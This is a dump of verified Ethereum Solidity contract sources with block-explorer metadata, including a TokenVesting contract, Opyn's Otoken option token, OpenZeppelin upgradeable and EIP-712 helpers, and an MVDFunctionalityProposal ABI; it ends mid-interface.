v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }

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v0.6.12+commit.27d51765

000000000000000000000000b6445c82abe0695ba9b27b70381d62cbfe049e12000000000000000000000000000000000000000000000000000000005f8204b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000000000000

Default

MIT

ipfs://9f8e7e979ce8c409e3d01fa1b90453f54d03f63f11f37fe483cbecab18e46cef

TokenVesting

browser/Some.sol

0xffd62d8656d6bb1a0834094fa6308bc52bfc837c

Solidity

// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol"; pragma solidity 0.6.12; //Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/drafts/TokenVesting.sol /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(!_revoked[address(token)], "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } }

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v0.6.12+commit.27d51765

000000000000000000000000b6445c82abe0695ba9b27b70381d62cbfe049e12000000000000000000000000000000000000000000000000000000005f8204b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000000000000

Default

MIT

ipfs://9f8e7e979ce8c409e3d01fa1b90453f54d03f63f11f37fe483cbecab18e46cef

Otoken

/Users/antonasso/programming/opyn/gamma/contracts/Otoken.sol

0xf1c9d2ed4bddb6bdd5b3f0cd5503eed1bf35db6b

Solidity

/* SPDX-License-Identifier: UNLICENSED */ pragma solidity =0.6.10; import {ERC20Upgradeable} from "./packages/oz/upgradeability/ERC20Upgradeable.sol"; import {ERC20PermitUpgradeable} from "./packages/oz/upgradeability/erc20-permit/ERC20PermitUpgradeable.sol"; import {Strings} from "./packages/oz/Strings.sol"; import {BokkyPooBahsDateTimeLibrary} from "./packages/BokkyPooBahsDateTimeLibrary.sol"; import {AddressBookInterface} from "./interfaces/AddressBookInterface.sol"; /** * @title Otoken * @author Opyn Team * @notice Otoken is the ERC20 token for an option * @dev The Otoken inherits ERC20Upgradeable because we need to use the init instead of constructor */ contract Otoken is ERC20PermitUpgradeable { /// @notice address of the Controller module address public controller; /// @notice asset that the option references address public underlyingAsset; /// @notice asset that the strike price is denominated in address public strikeAsset; /// @notice asset that is held as collateral against short/written options address public collateralAsset; /// @notice strike price with decimals = 8 uint256 public strikePrice; /// @notice expiration timestamp of the option, represented as a unix timestamp uint256 public expiryTimestamp; /// @notice True if a put option, False if a call option bool public isPut; uint256 private constant STRIKE_PRICE_SCALE = 1e8; uint256 private constant STRIKE_PRICE_DIGITS = 8; /** * @notice initialize the oToken * @param _addressBook addressbook module * @param _underlyingAsset asset that the option references * @param _strikeAsset asset that the strike price is denominated in * @param _collateralAsset asset that is held as collateral against short/written options * @param _strikePrice strike price with decimals = 8 * @param _expiryTimestamp expiration timestamp of the option, represented as a unix timestamp * @param _isPut True if a put option, False if a call option */ function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiryTimestamp, bool _isPut ) external initializer { controller = AddressBookInterface(_addressBook).getController(); underlyingAsset = _underlyingAsset; strikeAsset = _strikeAsset; collateralAsset = _collateralAsset; strikePrice = _strikePrice; expiryTimestamp = _expiryTimestamp; isPut = _isPut; (string memory tokenName, string memory tokenSymbol) = _getNameAndSymbol(); __ERC20_init_unchained(tokenName, tokenSymbol); __ERC20Permit_init(tokenName); _setupDecimals(8); } function getOtokenDetails() external view returns ( address, address, address, uint256, uint256, bool ) { return (collateralAsset, underlyingAsset, strikeAsset, strikePrice, expiryTimestamp, isPut); } /** * @notice mint oToken for an account * @dev Controller only method where access control is taken care of by _beforeTokenTransfer hook * @param account account to mint token to * @param amount amount to mint */ function mintOtoken(address account, uint256 amount) external { require(msg.sender == controller, "Otoken: Only Controller can mint Otokens"); _mint(account, amount); } /** * @notice burn oToken from an account. * @dev Controller only method where access control is taken care of by _beforeTokenTransfer hook * @param account account to burn token from * @param amount amount to burn */ function burnOtoken(address account, uint256 amount) external { require(msg.sender == controller, "Otoken: Only Controller can burn Otokens"); _burn(account, amount); } /** * @notice generates the name and symbol for an option * @dev this function uses a named return variable to avoid the stack-too-deep error * @return tokenName (ex: ETHUSDC 05-September-2020 200 Put USDC Collateral) * @return tokenSymbol (ex: oETHUSDC-05SEP20-200P) */ function _getNameAndSymbol() internal view returns (string memory tokenName, string memory tokenSymbol) { string memory underlying = ERC20Upgradeable(underlyingAsset).symbol(); string memory strike = ERC20Upgradeable(strikeAsset).symbol(); string memory collateral = ERC20Upgradeable(collateralAsset).symbol(); string memory displayStrikePrice = _getDisplayedStrikePrice(strikePrice); // convert expiry to a readable string (uint256 year, uint256 month, uint256 day) = BokkyPooBahsDateTimeLibrary.timestampToDate(expiryTimestamp); // get option type string (string memory typeSymbol, string memory typeFull) = _getOptionType(isPut); //get option month string (string memory monthSymbol, string memory monthFull) = _getMonth(month); // concatenated name string: ETHUSDC 05-September-2020 200 Put USDC Collateral tokenName = string( abi.encodePacked( underlying, strike, " ", _uintTo2Chars(day), "-", monthFull, "-", Strings.toString(year), " ", displayStrikePrice, typeFull, " ", collateral, " Collateral" ) ); // concatenated symbol string: oETHUSDC/USDC-05SEP20-200P tokenSymbol = string( abi.encodePacked( "o", underlying, strike, "/", collateral, "-", _uintTo2Chars(day), monthSymbol, _uintTo2Chars(year), "-", displayStrikePrice, typeSymbol ) ); } /** * @dev convert strike price scaled by 1e8 to human readable number string * @param _strikePrice strike price scaled by 1e8 * @return strike price string */ function _getDisplayedStrikePrice(uint256 _strikePrice) internal pure returns (string memory) { uint256 remainder = _strikePrice.mod(STRIKE_PRICE_SCALE); uint256 quotient = _strikePrice.div(STRIKE_PRICE_SCALE); string memory quotientStr = Strings.toString(quotient); if (remainder == 0) return quotientStr; uint256 trailingZeroes; while (remainder.mod(10) == 0) { remainder = remainder / 10; trailingZeroes += 1; } // pad the number with "1 + starting zeroes" remainder += 10**(STRIKE_PRICE_DIGITS - trailingZeroes); string memory tmpStr = Strings.toString(remainder); tmpStr = _slice(tmpStr, 1, 1 + STRIKE_PRICE_DIGITS - trailingZeroes); string memory completeStr = string(abi.encodePacked(quotientStr, ".", tmpStr)); return completeStr; } /** * @dev return a representation of a number using 2 characters, adds a leading 0 if one digit, uses two trailing digits if a 3 digit number * @return 2 characters that corresponds to a number */ function _uintTo2Chars(uint256 number) internal pure returns (string memory) { if (number > 99) number = number % 100; string memory str = Strings.toString(number); if (number < 10) { return string(abi.encodePacked("0", str)); } return str; } /** * @dev return string representation of option type * @return shortString a 1 character representation of option type (P or C) * @return longString a full length string of option type (Put or Call) */ function _getOptionType(bool _isPut) internal pure returns (string memory shortString, string memory longString) { if (_isPut) { return ("P", "Put"); } else { return ("C", "Call"); } } /** * @dev cut string s into s[start:end] * @param _s the string to cut * @param _start the starting index * @param _end the ending index (excluded in the substring) */ function _slice( string memory _s, uint256 _start, uint256 _end ) internal pure returns (string memory) { bytes memory a = new bytes(_end - _start); for (uint256 i = 0; i < _end - _start; i++) { a[i] = bytes(_s)[_start + i]; } return string(a); } /** * @dev return string representation of a month * @return shortString a 3 character representation of a month (ex: SEP, DEC, etc) * @return longString a full length string of a month (ex: September, December, etc) */ function _getMonth(uint256 _month) internal pure returns (string memory shortString, string memory longString) { if (_month == 1) { return ("JAN", "January"); } else if (_month == 2) { return ("FEB", "February"); } else if (_month == 3) { return ("MAR", "March"); } else if (_month == 4) { return ("APR", "April"); } else if (_month == 5) { return ("MAY", "May"); } else if (_month == 6) { return ("JUN", "June"); } else if (_month == 7) { return ("JUL", "July"); } else if (_month == 8) { return ("AUG", "August"); } else if (_month == 9) { return ("SEP", "September"); } else if (_month == 10) { return ("OCT", "October"); } else if (_month == 11) { return ("NOV", "November"); } else { return ("DEC", "December"); } } }

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v0.6.10+commit.00c0fcaf

Default

Otoken

/Users/antonasso/programming/opyn/gamma/contracts/interfaces/AddressBookInterface.sol

0xf1c9d2ed4bddb6bdd5b3f0cd5503eed1bf35db6b

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.10; interface AddressBookInterface { /* Getters */ function getOtokenImpl() external view returns (address); function getOtokenFactory() external view returns (address); function getWhitelist() external view returns (address); function getController() external view returns (address); function getOracle() external view returns (address); function getMarginPool() external view returns (address); function getMarginCalculator() external view returns (address); function getLiquidationManager() external view returns (address); function getAddress(bytes32 _id) external view returns (address); /* Setters */ function setOtokenImpl(address _otokenImpl) external; function setOtokenFactory(address _factory) external; function setOracleImpl(address _otokenImpl) external; function setWhitelist(address _whitelist) external; function setController(address _controller) external; function setMarginPool(address _marginPool) external; function setMarginCalculator(address _calculator) external; function setLiquidationManager(address _liquidationManager) external; function setAddress(bytes32 _id, address _newImpl) external; }

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v0.6.10+commit.00c0fcaf

Default

Otoken

/Users/antonasso/programming/opyn/gamma/contracts/packages/oz/upgradeability/Initializable.sol

0xf1c9d2ed4bddb6bdd5b3f0cd5503eed1bf35db6b

Solidity

// SPDX-License-Identifier: MIT /* solhint-disable */ pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }

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v0.6.10+commit.00c0fcaf

Default

Otoken

/Users/antonasso/programming/opyn/gamma/contracts/packages/oz/upgradeability/erc20-permit/EIP712Upgradeable.sol

0xf1c9d2ed4bddb6bdd5b3f0cd5503eed1bf35db6b

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; }

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v0.6.10+commit.00c0fcaf

Default

ProxyAdmin

@openzeppelin/upgrades/contracts/ownership/Ownable.sol

0x889aa3be6d73170c67f0dcd2e10e4417e0d1f518

Solidity

pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/ownership/Ownable.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Ownable implementation from an openzeppelin version. */ contract OpenZeppelinUpgradesOwnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }

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v0.5.3+commit.10d17f24

constantinople

MIT

bzzr://9445eb06c44f835de37dfb573d5867f8c55f6cd256668c173b3c874a55cadc4e

MVDFunctionalityProposal

IERC20.sol

0xef603e8eb2df80d9dcd76dc922c665fe1923911f

Solidity

pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }

[{"inputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Accept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MoveToAccept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MoveToRefuse","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Refuse","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireAccept","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RetireRefuse","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"accept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"m","type":"string"}],"name":"formatReturnAbiParametersArray","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCodeName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"address","name":"location","type":"address"}],"name":"getFirstJSONPart","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getLocation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMethodSignature","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getProposer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getProxy","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReplaces","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReturnAbiParametersArray","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSourceLocation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSourceLocationId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSurveyDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSurveyEndBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getVote","outputs":[{"internalType":"uint256","name":"accept","type":"uint256"},{"internalType":"uint256","name":"refuse","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getVotesHardCapToReach","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"codeName","type":"string"},{"internalType":"address","name":"location","type":"address"},{"internalType":"string","name":"methodSignature","type":"string"},{"internalType":"string","name":"returnAbiParametersArray","type":"string"},{"internalType":"string","name":"replaces","type":"string"},{"internalType":"address","name":"proxy","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isEmergency","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isInternal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSubmitable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTerminated","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isVotesHardCapReached","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"moveToRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"needsSender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireAccept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retireAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"retireRefuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"emergency","type":"bool"},{"internalType":"address","name":"sourceLocation","type":"address"},{"internalType":"uint256","name":"sourceLocationId","type":"uint256"},{"internalType":"bool","name":"submitable","type":"bool"},{"internalType":"bool","name":"isInternal","type":"bool"},{"internalType":"bool","name":"needsSender","type":"bool"},{"internalType":"address","name":"proposer","type":"address"},{"internalType":"uint256","name":"votesHardCap","type":"uint256"}],"name":"setCollateralData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"terminate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"toJSON","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_i","type":"uint256"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes","name":"bs","type":"bytes"}],"name":"toUint256","outputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.8+commit.0bbfe453

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Default

MIT

ipfs://cc7f3bf856466276233180424b6f508fe3d144c7a0a548366500787677c07fa5

MVDFunctionalityProposal

IMVDFunctionalitiesManager.sol

0xef603e8eb2df80d9dcd76dc922c665fe1923911f

Solidity

pragma solidity ^0.6.0; interface IMVDFunctionalitiesManager { function getProxy() external view returns (address); function setProxy() external; function init(address sourceLocation, uint256 getMinimumBlockNumberSourceLocationId, address getMinimumBlockNumberFunctionalityAddress, uint256 getEmergencyMinimumBlockNumberSourceLocationId, address getEmergencyMinimumBlockNumberFunctionalityAddress, uint256 getEmergencySurveyStakingSourceLocationId, address getEmergencySurveyStakingFunctionalityAddress, uint256 checkVoteResultSourceLocationId, address checkVoteResultFunctionalityAddress) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender, uint256 position) external; function removeFunctionality(string calldata codeName) external returns(bool removed, uint256 position); function isValidFunctionality(address functionality) external view returns(bool); function isAuthorizedFunctionality(address functionality) external view returns(bool); function setCallingContext(address location) external returns(bool); function clearCallingContext() external; function getFunctionalityData(string calldata codeName) external view returns(address, uint256, string memory, address, uint256); function hasFunctionality(string calldata codeName) external view returns(bool); function getFunctionalitiesAmount() external view returns(uint256); function functionalitiesToJSON() external view returns(string memory); function functionalitiesToJSON(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityNames() external view returns(string memory); function functionalityNames(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityToJSON(string calldata codeName) external view returns(string memory); function 